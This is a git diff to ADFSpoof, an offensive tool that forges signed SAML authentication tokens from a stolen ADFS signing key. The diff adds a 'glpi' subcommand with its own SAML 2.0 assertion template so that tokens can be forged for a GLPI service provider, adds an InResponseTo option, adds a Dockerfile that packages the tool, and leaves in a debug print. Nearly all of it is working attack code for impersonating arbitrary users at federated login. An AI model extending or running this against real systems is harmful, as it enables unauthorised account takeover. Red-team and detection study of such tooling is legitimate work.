diff --git a/ADFSpoof.py b/ADFSpoof.py index 4f43579..8228725 100644 --- a/ADFSpoof.py +++ b/ADFSpoof.py @@ -21,6 +21,7 @@ def parse_args(): arg_parser.add_argument('-v', '--verbose', help='Verbose Output', default=False) arg_parser.add_argument('--assertionid', help='AssertionID string. Defaults to a random string', default=random_string()) arg_parser.add_argument('--responseid', help='The Response ID. Defaults to random string', default=random_string()) + arg_parser.add_argument('--inresponseto', help='The InResponseTo attribute (ID from the SP AuthnRequest)', default=None) arg_parser.add_argument('-s', '--server', help='Identifier for the federation service. Usually the fqdn of the server. e.g. sts.example.com DO NOT include HTTPS://') arg_parser.add_argument('-a', '--algorithm', help='SAML signing algorithm to use', default='rsa-sha256') arg_parser.add_argument('-d', '--digest', help='SAML digest algorithm to use', default='sha256') @@ -49,6 +50,12 @@ def parse_args(): parser_generic_saml2.add_argument('--assertions', help='The XML assertions for the SAML token', default=None) parser_generic_saml2.add_argument('--config', help='JSON file containing generic args', default=None) + parser_generic_glpi = subparsers.add_parser('glpi') + parser_generic_glpi.add_argument('--endpoint', help='The destination/recipient attribute for SAML 2.0 token. Where the SAML token will be sent.', default=None) + parser_generic_glpi.add_argument('--nameid', help='The NameIdentifier attribute value', default=None) + parser_generic_glpi.add_argument('--rpidentifier', help='The Identifier for the Relying Party', default=None) + parser_generic_glpi.add_argument('--config', help='JSON file containing generic args', default=None) + parser_dump = subparsers.add_parser('dump') parser_dump.add_argument('--path', help='Filepath where the signing token will be output.', default='token.pfx') @@ -137,7 +144,8 @@ def get_module_params(command): 'AdfsServer': args.server, 'SubjectConfirmationTime': subject_confirmation_time, 'ResponseID': args.responseid, - 'AuthnInstant': authn_instant + 'AuthnInstant': authn_instant, + 'InResponseTo': args.inresponseto or '' } if args.config: @@ -158,6 +166,35 @@ def get_module_params(command): } params.update(saml2_params) name_identifier = "ID" + + elif command == "glpi": + params = { + 'TokenCreated': token_created, + 'TokenExpires': token_expires, + 'AdfsServer': args.server, + 'AssertionID': args.assertionid, + 'SubjectConfirmationTime': subject_confirmation_time, + 'ResponseID': args.responseid, + 'AuthnInstant': authn_instant, + 'InResponseTo': args.inresponseto or '' + } + + if args.config: + with open(args.config, 'r') as config_file: + data = config_file.read() + try: + glpi_params = json.loads(data) + except json.JSONDecodeError: + sys.stderr.write("Could not parse JSON config file for SAML2 token creation. Quitting.\n") + die() + else: + glpi_params = { + 'SamlEndpoint': args.endpoint, + 'NameID': args.nameid, + 'RPIdentifier': args.rpidentifier, + } + params.update(glpi_params) + name_identifier = "ID" return params, name_identifier @@ -180,6 +217,7 @@ def output_token(token, command): if args.command != 'dump': params, id_attribute = get_module_params(args.command) + print("=================",repr(id_attribute)) token = signer.sign_XML(params, id_attribute, args.algorithm, args.digest) if args.output: diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..5646607 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,10 @@ +FROM python:3.11.12-slim + +COPY . /app +WORKDIR /app + + +RUN pip install --no-cache-dir -r requirements.txt + + +ENTRYPOINT ["python", "/app/ADFSpoof.py"] \ No newline at end of file diff --git a/templates/glpi.xml b/templates/glpi.xml new file mode 100644 index 0000000..1a0c759 --- /dev/null +++ b/templates/glpi.xml @@ -0,0 +1,28 @@ + + http://$AdfsServer/adfs/services/trust + + + + + http://$AdfsServer/adfs/services/trust + + + $NameID + + + + + + + $RPIdentifier + + + + + urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport + + + + \ No newline at end of file diff --git a/templates/o365.xml b/templates/o365.xml index b175e0f..7adf61d 100644 --- a/templates/o365.xml +++ b/templates/o365.xml @@ -1 +1 @@ -$TokenCreated$TokenExpiresurn:federation:MicrosoftOnlineurn:federation:MicrosoftOnline$NameIdentifierurn:oasis:names:tc:SAML:1.0:cm:bearer$UPN$NameIdentifierfalseurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport$NameIdentifierurn:oasis:names:tc:SAML:1.0:cm:bearerurn:oasis:names:tc:SAML:1.0:assertionhttp://schemas.xmlsoap.org/ws/2005/02/trust/Issuehttp://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey +$TokenCreated$TokenExpiresurn:federation:MicrosoftOnlineurn:federation:MicrosoftOnline$NameIdentifierurn:oasis:names:tc:SAML:1.0:cm:bearer$UPN$NameIdentifierfalseurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport$NameIdentifierurn:oasis:names:tc:SAML:1.0:cm:bearerurn:oasis:names:tc:SAML:1.0:assertionhttp://schemas.xmlsoap.org/ws/2005/02/trust/Issuehttp://schemas.xmlsoap.org/ws/2005/05/identity/NoProofKey diff --git a/templates/saml2.xml b/templates/saml2.xml index 263daab..d523f20 100644 --- a/templates/saml2.xml +++ b/templates/saml2.xml @@ -1 +1,29 @@ -http://$AdfsServer/adfs/services/trusthttp://$AdfsServer/adfs/services/trust$NameID$RPIdentifier$Assertionsurn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport \ No newline at end of file + + http://$AdfsServer/adfs/services/trust + + + + + http://$AdfsServer/adfs/services/trust + + + $NameID + + + + + + + $RPIdentifier + + + $Assertions + + + urn:oasis:names:tc:SAML:2.0:ac:classes:PasswordProtectedTransport + + + + \ No newline at end of file